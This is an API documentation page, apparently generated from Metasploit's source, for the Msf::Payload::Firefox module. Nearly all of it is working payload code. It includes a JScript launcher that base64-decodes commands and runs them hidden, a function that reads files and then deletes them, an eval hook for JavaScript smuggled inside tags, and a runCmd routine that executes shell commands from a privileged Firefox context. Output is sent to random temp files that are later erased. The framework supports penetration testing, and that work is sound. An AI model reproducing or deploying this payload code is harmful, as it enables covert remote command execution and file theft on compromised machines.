Module: Msf::Payload::Firefox

Includes:
Exploit::JSObfu
Defined in:
lib/msf/core/payload/firefox.rb

Instance Method Summary collapse

Methods included from Exploit::JSObfu

#initialize, #js_obfuscate

Instance Method Details

#jscript_launcherString

This file is dropped on the windows platforms to a temp file in order to prevent the cmd.exe prompt from appearing. It is executed and then deleted.

Note: we should totally add a powershell replacement here.

base64 and runs it as a shell command.

Returns:

  • (String)

    JScript that reads its command-line argument, decodes


216
217
218
219
220
221
222
223
224
225
226
227
228
# File 'lib/msf/core/payload/firefox.rb', line 216

def jscript_launcher
  %Q|
    var b64 = WScript.arguments(0);
    var dom = new ActiveXObject("MSXML2.DOMDocument.3.0");
    var el  = dom.createElement("root");
    el.dataType = "bin.base64"; el.text = b64; dom.appendChild(el);
    var stream = new ActiveXObject("ADODB.Stream");
    stream.Type=1; stream.Open(); stream.Write(el.nodeTypedValue);
    stream.Position=0; stream.type=2; stream.CharSet = "us-ascii"; stream.Position=0;
    var cmd = stream.ReadText();
    (new ActiveXObject("WScript.Shell")).Run(cmd, 0, true);
  |
end

#read_file_sourceString

Javascript source code of readFile(path) - synchronously reads a file and returns its contents. The file is deleted immediately afterwards.

Returns:

  • (String)

    javascript source code that exposes the readFile(path) method


56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
# File 'lib/msf/core/payload/firefox.rb', line 56

def read_file_source
  %Q|
    var readFile = function(path) {
      try {
        var file = Components.classes["@mozilla.org/file/local;1"]
                 .createInstance(Components.interfaces.nsILocalFile);
        file.initWithPath(path);

        var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"]
                         .createInstance(Components.interfaces.nsIFileInputStream);
        fileStream.init(file, 1, 0, false);

        var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"]
                           .createInstance(Components.interfaces.nsIBinaryInputStream);
        binaryStream.setInputStream(fileStream);
        var array = binaryStream.readByteArray(fileStream.available());

        binaryStream.close();
        fileStream.close();
        file.remove(true);

        return array.map(function(aItem) { return String.fromCharCode(aItem); }).join("");
      } catch (e) { return ""; }
    };
  |
end

#read_until_token_sourceString

Javascript source of readUntilToken(s) Continues reading the stream as data is available, until a pair of

command tokens like [[aBcD123ffh]] [[aBcD123ffh]] is consumed.

Returns a function that can be passed to the #onDataAvailable callback of

nsIInputStreamPump that will buffer until a second token is read, or, in
the absence of any tokens, a newline character is read.

Returns:

  • (String)

    javascript source code that exposes the readUntilToken(cb) function


30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# File 'lib/msf/core/payload/firefox.rb', line 30

def read_until_token_source
  %Q|
    var readUntilToken = function(cb) {
      Components.utils.import("resource://gre/modules/NetUtil.jsm");

      var buffer = '', m = null;
      return function(request, context, stream, offset, count) {
        buffer += NetUtil.readInputStreamToString(stream, count);
        if (buffer.match(/^(\\[\\[\\w{8}\\]\\])/)) {
          if (m = buffer.match(/^(\\[\\[\\w{8}\\]\\])([\\s\\S]*)\\1/)) {
            cb(m[2]);
            buffer = '';
          }
        } else if (buffer.indexOf("\\n") > -1) {
          cb(buffer);
          buffer = '';
        }
      };
    };
  |
end

#run_cmd_sourceString

Javascript source code of runCmd(str,cb) - runs a shell command on the OS

Because of a limitation of firefox, we cannot retrieve the shell output so the stdout/err are instead redirected to a temp file, which is read and destroyed after the command completes.

On posix, the command is double wrapped in “/bin/sh -c” calls, the outer of which redirects stdout.

On windows, the command is wrapped in two “cmd /c” calls, the outer of which redirects stdout. A JScript “launch” file is dropped and invoked with wscript to run the command without displaying the cmd.exe prompt.

When the command contains the pattern “[JAVASCRIPT] … [/JAVASCRIPT]”, the javascript code between the tags is eval'd and returned.

Returns:

  • (String)

    javascript source code that exposes the runCmd(str) method.


100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
# File 'lib/msf/core/payload/firefox.rb', line 100

def run_cmd_source
  %Q|
    #{read_file_source}
    #{set_timeout_source}

    var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"]
      .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
    var windows = (ua.indexOf("Windows")>-1);
    var svcs = Components.utils.import("resource://gre/modules/Services.jsm");
    var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src;
    var runCmd = function(cmd, cb) {
      cb = cb \|\| (function(){});

      if (cmd.trim().length == 0) {
        setTimeout(function(){ cb("Command is empty string ('')."); });
        return;
      }

      var js = (/^\\s*\\[JAVASCRIPT\\]([\\s\\S]*)\\[\\/JAVASCRIPT\\]/g).exec(cmd.trim());
      if (js) {
        var tag = "[!JAVASCRIPT]";
        var sync = true;  /* avoid zalgo's reach */
        var sent = false;
        var retVal = null;

        try {
          this.send = function(r){
            if (sent) return;
            sent = true;
            if (r) {
              if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
              else      cb(false, r+tag+"\\n");
            }
          };
          retVal = Function(js[1]).call(this);
        } catch (e) { retVal = e.message; }

        sync = false;

        if (retVal && !sent) {
          sent = true;
          setTimeout(function(){ cb(false, retVal+tag+"\\n"); });
        }

        return;
      }

      var shEsc = "\\\\$&";
      var shPath = "/bin/sh -c";

      if (windows) {
        shPath = "cmd /c";
        shEsc = "\\^$&";
        var jscriptFile = Components.classes["@mozilla.org/file/directory_service;1"]
          .getService(Components.interfaces.nsIProperties)
          .get("TmpD", Components.interfaces.nsIFile);
        jscriptFile.append('#{Rex::Text.rand_text_alphanumeric(8+rand(12))}.js');
        var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
          .createInstance(Components.interfaces.nsIFileOutputStream);
        stream.init(jscriptFile, 0x04 \| 0x08 \| 0x20, 0666, 0);
        stream.write(jscript, jscript.length);
        if (stream instanceof Components.interfaces.nsISafeOutputStream) {
          stream.finish();
        } else {
          stream.close();
        }
      }

      var stdoutFile = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}";

      var stdout = Components.classes["@mozilla.org/file/directory_service;1"]
        .getService(Components.interfaces.nsIProperties)
        .get("TmpD", Components.interfaces.nsIFile);
      stdout.append(stdoutFile);

      var shell;
      cmd = cmd.trim();
      if (windows) {
        shell = shPath+" "+cmd;
        shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1";
        var b64 = svcs.btoa(shell);
      } else {
        shell = shPath+" "+cmd.replace(/\\W/g, shEsc);
        shell = shPath+" "+shell.replace(/\\W/g, shEsc) + " >"+stdout.path+" 2>&1";
      }

      var process = Components.classes["@mozilla.org/process/util;1"]
        .createInstance(Components.interfaces.nsIProcess);
      var sh = Components.classes["@mozilla.org/file/local;1"]
                 .createInstance(Components.interfaces.nsILocalFile);

      if (windows) {
        sh.initWithPath("C:\\\\Windows\\\\System32\\\\wscript.exe");
        process.init(sh);
        var args = [jscriptFile.path, b64];
        process.run(true, args, args.length);
        jscriptFile.remove(true);
        setTimeout(function(){cb(false, cmd+"\\n"+readFile(stdout.path));});
      } else {
        sh.initWithPath("/bin/sh");
        process.init(sh);
        var args = ["-c", shell];
        process.run(true, args, args.length);
        setTimeout(function(){cb(false, readFile(stdout.path));});
      }
    };
  |
end

#set_timeout_sourceString

Javascript source code of setTimeout(fn, delay)

Returns:

  • (String)

    javascript source code that exposes the setTimeout(fn, delay) method


11
12
13
14
15
16
17
18
19
# File 'lib/msf/core/payload/firefox.rb', line 11

def set_timeout_source
  %Q|
    var setTimeout = function(cb, delay) {
      var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer);
      timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT);
      return timer;
    };
  |
end